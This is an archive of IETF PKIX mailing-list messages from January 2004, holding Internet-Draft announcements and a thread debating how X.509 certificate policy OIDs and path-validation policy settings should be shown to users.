style=3D'font-size:10.0pt;font-family:Arial;color:olive'>Stefan =
Santesson</span></font></b></strong><o:p></o:p></p>

<p class=3DMsoNormal><font size=3D2 color=3Dolive face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:olive'>Program Manager, Windows =
Security</span></font><o:p></o:p></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

</blockquote>

</div>

</div>

</body>

</html>

------_=_NextPart_001_01C3E74F.BDE13EC0--

--------------InterScan_NT_MIME_Boundary--



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0UGpVl9000744; Fri, 30 Jan 2004 08:51:31 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0UGpVXq000743; Fri, 30 Jan 2004 08:51:31 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0UGpU8R000736 for <[e-mail]>; Fri, 30 Jan 2004 08:51:30 -0800 (PST) (envelope-from [e-mail])
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA27053; Fri, 30 Jan 2004 11:51:27 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-pi-09.txt
Date: Fri, 30 Jan 2004 11:51:27 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure Permanent Identifier
	Author(s)	: D. Pinkas, T. Gindin
	Filename	: draft-ietf-pkix-pi-09.txt
	Pages		: 13
	Date		: 2004-1-29
	
This document define a new form of name, called permanent 
identifier, that may be included in the subjectAltName extension 
of a public key certificate issued to an entity.
The permanent identifier is an optional feature that may be used 
by a CA to indicate that the certificate relates to the same 
entity even if the name or the affiliation of that entity stored 
in the subject or another name form in the subjectAltName extension 
has changed.
The subject name, carried in the subject field, is only unique 
for each subject entity certified by the one CA as defined by the 
issuer name field. Also, the new name form can carry a 
name that is unique for each subject entity certified by a CA.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-pi-09.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-pi-09.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-pi-09.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-pi-09.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-pi-09.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0UGpPaA000729; Fri, 30 Jan 2004 08:51:25 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0UGpP1l000728; Fri, 30 Jan 2004 08:51:25 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0UGpOxK000721 for <[e-mail]>; Fri, 30 Jan 2004 08:51:24 -0800 (PST) (envelope-from [e-mail])
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA27014; Fri, 30 Jan 2004 11:51:22 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-rsa-pkalgs-02.txt
Date: Fri, 30 Jan 2004 11:51:21 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Additional Algorithms and Identifiers for RSA 
			  Cryptography for use in the Internet X.509 Public 
			  Key Infrastructure Certificate and Certificate 
			  Revocation List (CRL) Profile
	Author(s)	: R. Housley, B. Kaliski
	Filename	: draft-ietf-pkix-rsa-pkalgs-02.txt
	Pages		: 22
	Date		: 2004-1-29
	
This document supplements RFC 3279.  It describes the conventions for
using the RSASSA-PSS signature algorithm, the RSAES-OAEP key
transport algorithm, and additional one-way hash functions with the
PKCS #1 version 1.5 signature algorithm in the Internet X.509 Public
Key Infrastructure (PKI).  Encoding formats, algorithm identifiers,
and parameter formats are specified.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-rsa-pkalgs-02.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-rsa-pkalgs-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-rsa-pkalgs-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-rsa-pkalgs-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-rsa-pkalgs-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0UGpAFD000696; Fri, 30 Jan 2004 08:51:10 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0UGpAug000694; Fri, 30 Jan 2004 08:51:10 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp.cs.auckland.ac.nz (smtp.cs.auckland.ac.nz [130.216.33.151]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0UGp864000677 for <[e-mail]>; Fri, 30 Jan 2004 08:51:09 -0800 (PST) (envelope-from [e-mail])
Received: from cs.auckland.ac.nz (medusa01.cs.auckland.ac.nz [130.216.34.33]) by smtp.cs.auckland.ac.nz (Postfix) with ESMTP id 544FD34035; Sat, 31 Jan 2004 04:49:29 +1300 (NZDT)
Received: (from pgut001@localhost) by cs.auckland.ac.nz (8.11.6/8.11.6) id i0UFoJ110410; Sat, 31 Jan 2004 04:50:19 +1300
Date: Sat, 31 Jan 2004 04:50:19 +1300
Message-Id: <[e-mail]>
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail]
Subject: RE: Policy User Interfaces (was RE: Setting X.509 Policy Data in IE, IIS, Outlook)
Cc: [e-mail]
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

"David Cross" <[e-mail]> writes:

>My grandmother just won't understand the meaning of "initial-policy-mapping-
>inhibit" no matter how much she loves me.

And therein lies the problem.  It's not just Joe Sixpack who can't understand
any of this stuff, no-one apart from PKI theologists know (or care) about it.
So the approach that a typical technical manager/administrator who has to work
with certs will take is to use "policy = CA", with the Foo policy being
implicitly enforced by having the cert issued by the Foo CA, and the Bar
policy enforced by the Bar CA.  Going beyond private CAs (whose policy is
usually an implicit "Whatever we say it is"), if you look at almost any public
CA you'll see a pile of top- or intermediate-level CA certs with names that
are some variation on "<CA-name> <policy-name> CA" (the most famous being the
"Verisign Class X Blah CA" family) - it's the old PEM idea, but without the
single root.  Policy constraints and enforcement and mappings and whatnot are
just fuzzy dice that exist so orgs like the US DoD have something to decorate
their certs with.

Peter.



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0U9gZ0S050799; Fri, 30 Jan 2004 01:42:35 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0U9gZAO050798; Fri, 30 Jan 2004 01:42:35 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av7-2-sn4.m-sp.skanova.net (av7-2-sn4.m-sp.skanova.net [81.228.10.109]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0U9gYoH050755 for <[e-mail]>; Fri, 30 Jan 2004 01:42:34 -0800 (PST) (envelope-from [e-mail])
Received: by av7-2-sn4.m-sp.skanova.net (Postfix, from userid 502) id E1F0937EEF; Fri, 30 Jan 2004 10:42:28 +0100 (CET)
Received: from smtp2-1-sn4.m-sp.skanova.net (smtp2-1-sn4.m-sp.skanova.net [81.228.10.183]) by av7-2-sn4.m-sp.skanova.net (Postfix) with ESMTP id B699437ECD for <[e-mail]>; Fri, 30 Jan 2004 10:42:28 +0100 (CET)
Received: from arport (t12o913p105.telia.com [213.64.28.225]) by smtp2-1-sn4.m-sp.skanova.net (Postfix) with SMTP id 8E38437E63; Fri, 30 Jan 2004 10:42:25 +0100 (CET)
Message-ID: <00eb01c3e714$9958ed50$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "David Cross" <[e-mail]>, "Peter Hesse" <[e-mail]>
Cc: <[e-mail]>
References: <[e-mail]>
Subject: Re: Policy User Interfaces (was RE: Setting X.509 Policy Data in IE, IIS, Outlook)
Date: Fri, 30 Jan 2004 10:36:53 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
x-mimeole: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Peter,

If a sender of a signed message is using a certificate from a PKI that
requires policy filtering by the relying party (be it a server or Outlook),
then the sender creates a potential security hazard as the relying party
after trust anchor installation is likely to also "trust" what effectively
could be completely other types of certificates. 

One culprit is that there is no good universal way to communicate
CA policy information, except by requiring relying parties to decipher
CP documents, making the configuration process less user-friendly.

That is, multiple policy PKIs are not unsuitable only for consumers
like David's grandma, but in most open environments where many
relying parties are involved.

Regarding the user interface, you forgot to mention that the policy
settings must be per CA or groups of CAs further complicating matters.
But maybe, we are really talking local PKIs here?

Anders


----- Original Message ----- 
From: "David Cross" <[e-mail]>
To: "Peter Hesse" <[e-mail]>
Cc: <[e-mail]>
Sent: Thursday, January 29, 2004 19:30
Subject: RE: Policy User Interfaces (was RE: Setting X.509 Policy Data in IE, IIS, Outlook)



Your 2 cents may not be too far off the mark...however, some comments...

A.  Today, in a Windows XP+ and Windows Server 2003 environment, we do
have the capability to configure an Active Directory (domain)
environment as you describe.  I agree this is an example of the
direction you describe.

B.  Technically, this also exists in most chaining engines and UI,
although the policy information is not exposed as a first class citizen,
argueably for several reasons such as my grandmother just is not
interested in policy status of my signed mail to her, but I digress...

Items C. and D. are the slippery slope that have obvious utility in the
enterprise and/or high assurance environments, but not in the general
global consumer community.  My grandmother just won't understand the
meaning of "initial-policy-mapping-inhibit" no matter how much she loves
me.


David B. Cross 



-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
On Behalf Of Peter Hesse
Sent: Thursday, January 29, 2004 7:05 AM
To: 'Anders Rundgren'; 'Steve Hanna'; 'Stephen Kent'
Cc: [e-mail]
Subject: Policy User Interfaces (was RE: Setting X.509 Policy Data in
IE, IIS, Outlook)


I'll take the bait and throw this idea out there for you all to think
about.
It's not entirely my idea, it is based on ideas discussed with Dave
Fillingham over the years.  Let's assume for the moment that you're
working with a PKI with a few different certificate policies in use;
they might be hardware/software stored keys, or high/medium/low
assurance.

It is my suggestion that for a majority of PKI-enabled products with
user interfaces, the best solution may be to do the following:

A) Provide an administrative interface to map certificate policy OIDs to
human readable names, and potentially human readable descriptions of the
policies as well.

B) When building/validating certification paths, set the
initial-policy-set to any policy.  When a path successfully validates,
display the signature and validation status to the user, along with the
human readable names for the policies in the
authority-constrained-policy-set, or an indication that the path was not
valid under any known policies.

If these steps are followed, the user can just be informed that the
message they received was valid for "Gemini medium assurance" or
something like that.  Not much difficulty to implement, nor would it be
too difficult to educate the users.

Now, assume we're dealing with a PKI larger than a single organization,
where there are differing certificate policies and appropriate
certificate policy mappings in place.  (Such as a Bridge CA
environment.)  I'm assuming in this case that all certificates that I
want my relying parties to accept would have certificate policies
asserted.  In this case, we add just two more steps:

C) When validating paths, set initial-explicit-policy to TRUE, to ensure
that only paths valid for a policy would be accepted.  (Or, set
requireExplicitPolicy through policyConstraints extensions in domain or
cross-certificates.)

D) Provide users with a switch to enable/disable
initial-policy-mapping-inhibit.  This may be referred to as "allow only
my organization" and "allow other organizations".  I'm presuming that
cross-certificates would fail to validate if require-explicit was true
and policy mappings don't take place.

Likewise, even if I received a message from a user from a different
organization, I would simply see that the message validated and that it
was valid under the "Gemini low assurance policy" or something similar.
This doesn't add much implementation difficulty (assuming a compliant
path processing system) or make it too confusing for the user.

Just my $0.02.

--Peter

+---------------------------------------------------------------+
| Peter Hesse                    [e-mail]     |
| Phone: [phone]         Gemini Security Solutions, Inc.  |
| ICQ: 1942828                     www.geminisecurity.com       |
+---------------------------------------------------------------+
"Pay no attention to what the critics say; there has never been a statue
set up in honor of a critic." --Jean Sibelius




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TIUh2i035174; Thu, 29 Jan 2004 10:30:43 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0TIUh2L035173; Thu, 29 Jan 2004 10:30:43 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TIUgu6035155 for <[e-mail]>; Thu, 29 Jan 2004 10:30:43 -0800 (PST) (envelope-from [e-mail])
Received: from mail6.microsoft.com ([157.54.6.196]) by mail2.microsoft.com with Microsoft SMTPSVC(6.0.3790.1041); Thu, 29 Jan 2004 10:30:39 -0800
Received: from inet-vrs-06.redmond.corp.microsoft.com ([157.54.6.181]) by mail6.microsoft.com with Microsoft SMTPSVC(6.0.3790.1069); Thu, 29 Jan 2004 10:30:38 -0800
Received: from 157.54.5.25 by inet-vrs-06.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Thu, 29 Jan 2004 10:30:38 -0800
Received: from RED-MSG-41.redmond.corp.microsoft.com ([157.54.12.201]) by inet-hub-03.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.0); Thu, 29 Jan 2004 10:30:38 -0800
x-mimeole: Produced By Microsoft Exchange V6.5.7122.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Subject: RE: Policy User Interfaces (was RE: Setting X.509 Policy Data in IE, IIS, Outlook)
Date: Thu, 29 Jan 2004 10:30:36 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Policy User Interfaces (was RE: Setting X.509 Policy Data in IE, IIS, Outlook)
Thread-Index: AcPmXzHmy+NBOsfYQn+IddV3gKhpHQAFbq/QAAfBw5A=
From: "David Cross" <[e-mail]>
To: "Peter Hesse" <[e-mail]>
Cc: <[e-mail]>
X-OriginalArrivalTime: 29 Jan 2004 18:30:38.0604 (UTC) FILETIME=[FE3704C0:01C3E695]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0TIUhu6035168
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Your 2 cents may not be too far off the mark...however, some comments...

A.  Today, in a Windows XP+ and Windows Server 2003 environment, we do
have the capability to configure an Active Directory (domain)
environment as you describe.  I agree this is an example of the
direction you describe.

B.  Technically, this also exists in most chaining engines and UI,
although the policy information is not exposed as a first class citizen,
argueably for several reasons such as my grandmother just is not
interested in policy status of my signed mail to her, but I digress...

Items C. and D. are the slippery slope that have obvious utility in the
enterprise and/or high assurance environments, but not in the general
global consumer community.  My grandmother just won't understand the
meaning of "initial-policy-mapping-inhibit" no matter how much she loves
me.


David B. Cross 



-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
On Behalf Of Peter Hesse
Sent: Thursday, January 29, 2004 7:05 AM
To: 'Anders Rundgren'; 'Steve Hanna'; 'Stephen Kent'
Cc: [e-mail]
Subject: Policy User Interfaces (was RE: Setting X.509 Policy Data in
IE, IIS, Outlook)


I'll take the bait and throw this idea out there for you all to think
about.
It's not entirely my idea, it is based on ideas discussed with Dave
Fillingham over the years.  Let's assume for the moment that you're
working with a PKI with a few different certificate policies in use;
they might be hardware/software stored keys, or high/medium/low
assurance.

It is my suggestion that for a majority of PKI-enabled products with
user interfaces, the best solution may be to do the following:

A) Provide an administrative interface to map certificate policy OIDs to
human readable names, and potentially human readable descriptions of the
policies as well.

B) When building/validating certification paths, set the
initial-policy-set to any policy.  When a path successfully validates,
display the signature and validation status to the user, along with the
human readable names for the policies in the
authority-constrained-policy-set, or an indication that the path was not
valid under any known policies.

If these steps are followed, the user can just be informed that the
message they received was valid for "Gemini medium assurance" or
something like that.  Not much difficulty to implement, nor would it be
too difficult to educate the users.

Now, assume we're dealing with a PKI larger than a single organization,
where there are differing certificate policies and appropriate
certificate policy mappings in place.  (Such as a Bridge CA
environment.)  I'm assuming in this case that all certificates that I
want my relying parties to accept would have certificate policies
asserted.  In this case, we add just two more steps:

C) When validating paths, set initial-explicit-policy to TRUE, to ensure
that only paths valid for a policy would be accepted.  (Or, set
requireExplicitPolicy through policyConstraints extensions in domain or
cross-certificates.)

D) Provide users with a switch to enable/disable
initial-policy-mapping-inhibit.  This may be referred to as "allow only
my organization" and "allow other organizations".  I'm presuming that
cross-certificates would fail to validate if require-explicit was true
and policy mappings don't take place.

Likewise, even if I received a message from a user from a different
organization, I would simply see that the message validated and that it
was valid under the "Gemini low assurance policy" or something similar.
This doesn't add much implementation difficulty (assuming a compliant
path processing system) or make it too confusing for the user.

Just my $0.02.

--Peter

+---------------------------------------------------------------+
| Peter Hesse                    [e-mail]     |
| Phone: [phone]         Gemini Security Solutions, Inc.  |
| ICQ: 1942828                     www.geminisecurity.com       |
+---------------------------------------------------------------+
"Pay no attention to what the critics say; there has never been a statue
set up in honor of a critic." --Jean Sibelius




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TF4dxP018364; Thu, 29 Jan 2004 07:04:39 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0TF4c7H018363; Thu, 29 Jan 2004 07:04:38 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from osf1.gmu.edu (osf1.gmu.edu [129.174.1.13]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TF4b7O018354 for <[e-mail]>; Thu, 29 Jan 2004 07:04:37 -0800 (PST) (envelope-from [e-mail])
Received: from geminiph ([129.174.244.115]) by osf1.gmu.edu (8.8.8/8.8.8) with ESMTP id KAA109655; Thu, 29 Jan 2004 10:04:31 -0500 (EST)
Message-Id: <[e-mail]>
From: "Peter Hesse" <[e-mail]>
To: "'Anders Rundgren'" <[e-mail]>, "'Steve Hanna'" <[e-mail]>, "'Stephen Kent'" <[e-mail]>
Cc: <[e-mail]>
Subject: Policy User Interfaces (was RE: Setting X.509 Policy Data in IE, IIS, Outlook)
Date: Thu, 29 Jan 2004 10:04:31 -0500
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Thread-Index: AcPmXzHmy+NBOsfYQn+IddV3gKhpHQAFbq/Q
In-Reply-To: <006901c3e63e$89fbfea0$0500a8c0@arport>
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

I'll take the bait and throw this idea out there for you all to think about.
It's not entirely my idea, it is based on ideas discussed with Dave
Fillingham over the years.  Let's assume for the moment that you're working
with a PKI with a few different certificate policies in use; they might be
hardware/software stored keys, or high/medium/low assurance.

It is my suggestion that for a majority of PKI-enabled products with user
interfaces, the best solution may be to do the following:

A) Provide an administrative interface to map certificate policy OIDs to
human readable names, and potentially human readable descriptions of the
policies as well.

B) When building/validating certification paths, set the initial-policy-set
to any policy.  When a path successfully validates, display the signature
and validation status to the user, along with the human readable names for
the policies in the authority-constrained-policy-set, or an indication that
the path was not valid under any known policies.

If these steps are followed, the user can just be informed that the message
they received was valid for "Gemini medium assurance" or something like
that.  Not much difficulty to implement, nor would it be too difficult to
educate the users.

Now, assume we're dealing with a PKI larger than a single organization,
where there are differing certificate policies and appropriate certificate
policy mappings in place.  (Such as a Bridge CA environment.)  I'm assuming
in this case that all certificates that I want my relying parties to accept
would have certificate policies asserted.  In this case, we add just two
more steps:

C) When validating paths, set initial-explicit-policy to TRUE, to ensure
that only paths valid for a policy would be accepted.  (Or, set
requireExplicitPolicy through policyConstraints extensions in domain or
cross-certificates.)

D) Provide users with a switch to enable/disable
initial-policy-mapping-inhibit.  This may be referred to as "allow only my
organization" and "allow other organizations".  I'm presuming that
cross-certificates would fail to validate if require-explicit was true and
policy mappings don't take place.

Likewise, even if I received a message from a user from a different
organization, I would simply see that the message validated and that it was
valid under the "Gemini low assurance policy" or something similar.  This
doesn't add much implementation difficulty (assuming a compliant path
processing system) or make it too confusing for the user.

Just my $0.02.

--Peter

+---------------------------------------------------------------+
| Peter Hesse                    [e-mail]     |
| Phone: [phone]         Gemini Security Solutions, Inc.  |
| ICQ: 1942828                     www.geminisecurity.com       |
+---------------------------------------------------------------+
"Pay no attention to what the critics say; there has never been 
a statue set up in honor of a critic." --Jean Sibelius



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0T8AFwQ048403; Thu, 29 Jan 2004 00:10:15 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0T8AF8U048401; Thu, 29 Jan 2004 00:10:15 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av5-2-sn1.fre.skanova.net (av5-2-sn1.fre.skanova.net [81.228.11.112]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0T8AEac048366 for <[e-mail]>; Thu, 29 Jan 2004 00:10:14 -0800 (PST) (envelope-from [e-mail])
Received: by av5-2-sn1.fre.skanova.net (Postfix, from userid 502) id 12DE337E44; Thu, 29 Jan 2004 09:10:09 +0100 (CET)
Received: from smtp4.hy.skanova.net (smtp4.hy.skanova.net [195.67.199.133]) by av5-2-sn1.fre.skanova.net (Postfix) with ESMTP id F20D837E44; Thu, 29 Jan 2004 09:10:08 +0100 (CET)
Received: from arport (t11o913p33.telia.com [213.64.28.33]) by smtp4.hy.skanova.net (8.12.10/8.12.10) with SMTP id i0T8A687004759; Thu, 29 Jan 2004 09:10:07 +0100 (CET)
Message-ID: <006901c3e63e$89fbfea0$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "Steve Hanna" <[e-mail]>, "Stephen Kent" <[e-mail]>
Cc: <[e-mail]>
References: <020201c3e4c2$90d03b60$0500a8c0@arport> <p06020403bc3c20462220@[128.89.89.75]> <041c01c3e4eb$a5411820$0500a8c0@arport> <p06020409bc3c3f827415@[128.89.89.75]> <005001c3e50b$9cddac00$0500a8c0@arport> <p06020405bc3d7a1ddfed@[128.33.244.157]> <[e-mail]> <p06020405bc3db694269c@[128.33.244.157]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Date: Thu, 29 Jan 2004 09:04:35 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Steve & Steve,

>I'll add to your discussion of motivation for policy OIDs, at no 
>additional charge.

That was nice to hear, my funding for external consultants is close to zero :-)

>In principle, one could accomplish a similar effect by mandating use 
>of a different CA name for each distinct policy used by the same CA, 
>and by propagating knowledge of the policies bound to the names. 
>However, this is a poor alternative in that it provides no easy way 
>to convey the policy info when it is replicated by multiple CAs. of 
>course we don't have enough examples to know if policies will be 
>replicated, or replicated with caveats, as allowed for by policy 
>qualifiers, but at least one can understand why it is more attractive 
>to be able to represent this info via OIDs.

This is interesting.  I actually fully agree!

However, this is a rather different story than having multiple policies
per CA, engraving policy OIDs in EE certificates, and become
dependent on application dependent policy filtering.

>Talk of "trust administrators" just confuses matters. In an 
>enterprise environment security administrators, are already concerned 
>about the proper configuration of firewalls, VPNS, anti-virus rule 
>sets, etc. The management of trust anchors and policies for PKIs is 
>just another set of security-relevant data that these folks need to 
>manage.  One major attraction of SCVP is that is allows 
>centralization of this management function for TAs and policy info, 
>rather than having to do this on every desktop and server.

I have no problems with that.  I may even "upgrade" my terminology
if it makes you happier!

>If a vendor of a product that makes use of PKI fails to provide 
>appropriate management interfaces for dealing with policies, I don't 
>view that as a condemnation of the facility. If users don't see how 
>to use the feature, especially in light of a lack of management 
>interfaces, or confusing management interfaces, that too is not an 
>indication that the feature is not useful. The perception users 
>develop of the complexity of a feature is greatly dependent on the 
>management interfaces provided, not the intrinsic feature.

Here we obviously have different views.  I think Masaki SHIMAOKA's
(albeit also "homebrewed") terms Public PKIs and Private PKIs in his 
   "Memorandum for multi-domain PKI Interoperability" 
well depicts the scope of the two different approaches.  But who wants
to be private (=isolated)?  The US governments apparently do.

Regarding the policy system itself, I find this scheme odd.
The path-validation algorithm with respect to policies is the
most complex thing I have seen in my entire IT-life (30y+), while a
policy itself should according to RFC3280 be expressed as a single OID.
That is, anything ranging from, terms and conditions, certificate format, 
key container characteristics, to RA procedures, are lumped together,
making the OID pretty "user-hostile".  This deficiency forced the
RFC3039 authors to invent a competing policy system, called
qcStatements that requires it own policy admin GUI etc, and is
